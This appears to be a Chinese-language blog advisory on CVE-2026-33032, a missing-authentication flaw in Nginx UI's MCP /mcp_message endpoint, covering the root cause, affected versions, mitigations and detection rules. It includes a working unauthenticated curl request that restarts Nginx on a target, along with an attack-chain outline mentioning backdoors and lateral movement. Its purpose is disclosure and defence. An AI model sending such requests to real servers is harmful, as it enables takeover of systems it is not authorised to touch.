CVE-2026-33032：Nginx UI MCP 未授权访问漏洞详解 (CVSS 9.8)

归档39

漏洞分析7 OpenClaw5 技术感悟4 AI 工具3 安全研究3 技术分析3 Security2 Tech2 币安广场2 教程2 AI 部署1 公告1 应急响应1 服务1 漏洞复现与分析1 项目介绍1

1417 字

7 分钟

CVE-2026-33032：Nginx UI MCP 未授权访问漏洞详解 (CVSS 9.8)

2026-04-16

💬 联系方式 & 交流群

联系方式 & 交流群

微信: gzs-47

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

漏洞等级: 🔴 CRITICAL (CVSS 9.8)
影响版本: Nginx UI ≤ 2.3.5
CVE 编号: CVE-2026-33032
CWE 编号: CWE-306 (关键功能缺少认证)
披露日期: 2026-03-30
最后更新: 2026-04-16

漏洞概述#

CVE-2026-33032 是 Nginx UI（Nginx 服务器的 Web 管理界面）中的一个严重未授权访问漏洞。攻击者可以利用该漏洞在无需任何身份认证的情况下，通过 MCP (Model Context Protocol) 集成端点执行任意管理操作，包括：

🔄 重启 Nginx 服务
📝 创建/修改/删除 Nginx 配置文件
⚡ 触发自动配置重载
🎯 完全接管 Nginx 服务

该漏洞的 CVSS 3.1 基础评分为 9.8 (CRITICAL)，攻击向量为网络 (AV)，攻击复杂度低 (AC)，无需权限 (PR)，无需用户交互 (UI)，对机密性、完整性、可用性均有高影响 (C/I/A)。

漏洞原理#

问题根源#

Nginx UI 的 MCP 集成暴露了两个 HTTP 端点：

端点	认证要求	状态
`/mcp`	IP 白名单 + AuthRequired() 中间件	✅ 安全
`/mcp_message`	仅 IP 白名单	❌ 存在漏洞

致命缺陷#

/mcp_message 端点的问题在于：

仅应用 IP 白名单检查，没有身份认证
默认 IP 白名单为空 ([])
空白的 IP 白名单被中间件解释为 “允许所有 IP”

这意味着任何能够访问 Nginx UI 的网络攻击者都可以：

1
任意攻击者 → /mcp_message → 调用所有 MCP 工具 → 完全控制 Nginx

代码层面分析#

根据 GitHub 安全公告 (GHSA-h6c2-x2m2-mwhf)，问题出在中间件配置上：

1
// /mcp 端点 - 正确配置
2
app.use('/mcp', ipWhitelistMiddleware, AuthRequired(), mcpHandler);
3

4
// /mcp_message 端点 - 错误配置
5
app.use('/mcp_message', ipWhitelistMiddleware, mcpHandler);
6
// ⚠️ 缺少 AuthRequired() 中间件
7
// ⚠️ 默认 ipWhitelist = [] 被解释为允许所有

影响范围#

受影响版本#

软件	受影响版本	修复版本
Nginx UI	≤ 2.3.5	暂无公开补丁

CPE 标识#

1
cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:* versions up to (including) 2.3.5

潜在影响#

如果 Nginx UI 暴露在公网或不受信任的网络中，攻击者可以：

服务中断: 重启 Nginx 导致网站下线
配置篡改: 修改 Nginx 配置植入恶意规则
反向代理滥用: 配置反向代理进行流量劫持
SSRF 攻击: 利用 Nginx 的 proxy_pass 功能内网探测
WebShell 部署: 通过配置写入恶意脚本

漏洞复现#

环境准备#

1
# 安装受影响的 Nginx UI 版本
2
docker run -d --name nginx-ui \
3
  -p 8080:80 \
4
  -p 9000:9000 \
5
  0xjacky/nginx-ui:2.3.5

检测步骤#

步骤 1: 确认 Nginx UI 可访问

1
curl -I http://target-ip:9000/
2
# HTTP/1.1 200 OK 表示服务在线

步骤 2: 测试 /mcp_message 端点

1
curl -X POST http://target-ip:9000/mcp_message \
2
  -H "Content-Type: application/json" \
3
  -d '{"method":"tools/call","params":{"name":"nginx.restart"}}'

步骤 3: 如果返回成功响应，说明存在漏洞

1
{
2
  "result": {
3
    "status": "success",
4
    "message": "Nginx restarted"
5
  }
6
}

攻击利用链#

1
1. 信息收集
2
   └─→ 扫描 9000 端口 (默认 Nginx UI 端口)
3

4
2. 漏洞验证
5
   └─→ 访问 /mcp_message 端点测试未授权访问
6

7
3. 权限提升
8
   └─→ 调用 MCP 工具读取/修改 Nginx 配置
9

10
4. 持久化控制
11
   └─→ 修改配置植入后门或反向代理规则
12

13
5. 横向移动
14
   └─→ 利用 Nginx 作为跳板探测内网

临时缓解方案#

⚠️ 截至 2026-04-17，官方尚未发布修复补丁。建议采取以下临时缓解措施：

方案 1: 网络隔离 (推荐)#

将 Nginx UI 限制在内部网络访问：

1
# 防火墙规则 (UFW 示例)
2
ufw deny 9000/tcp
3
ufw allow from 10.0.0.0/8 to any port 9000 proto tcp
4
ufw allow from 192.168.0.0/16 to any port 9000 proto tcp

方案 2: Nginx 反向代理认证#

在 Nginx UI 前部署认证层：

1
server {
2
    listen 80;
3
    server_name nginx-ui.example.com;
4

5
    location / {
6
        auth_basic "Nginx UI Admin";
7
        auth_basic_user_file /etc/nginx/.htpasswd;
8

9
        # 仅允许受信任 IP 访问 MCP 端点
10
        location /mcp_message {
11
            allow 10.0.0.0/8;
12
            allow 192.168.0.0/16;
13
            deny all;
14
        }
15

16
        proxy_pass http://127.0.0.1:9000;
17
    }
18
}

方案 3: 禁用 MCP 功能#

如果不需要 MCP 集成，可以在配置中禁用：

1
# Nginx UI 配置文件
2
mcp:
3
  enabled: false

方案 4: 修改 IP 白名单#

在 Nginx UI 配置中显式设置 IP 白名单：

1
mcp:
2
  ip_whitelist:
3
    - 127.0.0.1
4
    - 10.0.0.1  # 仅允许可信 IP

检测与监控#

日志审计#

检查 Nginx UI 访问日志中的可疑请求：

1
# 搜索 /mcp_message 端点访问
2
grep "/mcp_message" /var/log/nginx-ui/access.log
3

4
# 检测异常 POST 请求
5
grep "POST /mcp_message" /var/log/nginx-ui/access.log | \
6
  awk '{print $1}' | sort | uniq -c | sort -rn

SIEM 规则#

1
# Splunk 检测规则
2
index=nginx_ui
3
uri_path="/mcp_message"
4
http_method=POST
5
status=200
6
| stats count by src_ip, user_agent
7
| where count > 5

网络监控#

监控对 Nginx UI 端点的异常访问：

1
# 使用 tcpdump 捕获可疑流量
2
tcpdump -i eth0 'port 9000 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'
3
# 过滤 POST 请求

时间线#

日期	事件
2026-03-30	GitHub 收到漏洞报告，分配 CVE-2026-33032
2026-03-30	GitHub 发布安全公告 (GHSA-h6c2-x2m2-mwhf)
2026-04-01	NIST NVD 收录该漏洞
2026-04-16	NVD 更新漏洞记录，添加参考链接
2026-04-17	暂无官方补丁发布

参考资源#

总结#

CVE-2026-33032 是一个典型的认证缺失漏洞，根源在于开发者错误地认为 IP 白名单可以替代身份认证。这个案例提醒我们：

防御深度: 单一安全措施（IP 白名单）不足以保护敏感功能
默认安全: 默认配置应该是安全的（空名单应解释为”拒绝所有”）
及时更新: 使用 Nginx UI 的管理员应密切关注官方补丁发布

🔔 建议: 如果你正在使用 Nginx UI ≤ 2.3.5，请立即实施上述缓解措施，并监控官方仓库获取补丁更新。

文章分享

如果这篇文章对你有帮助，欢迎分享给更多人！

MOSS-TTSD 语音合成模型部署教程：16G 内存服务器优化方案

ChatGPT 免费试用漏洞汇总 - 2026 年 4 月最新白嫖指南

音乐

音乐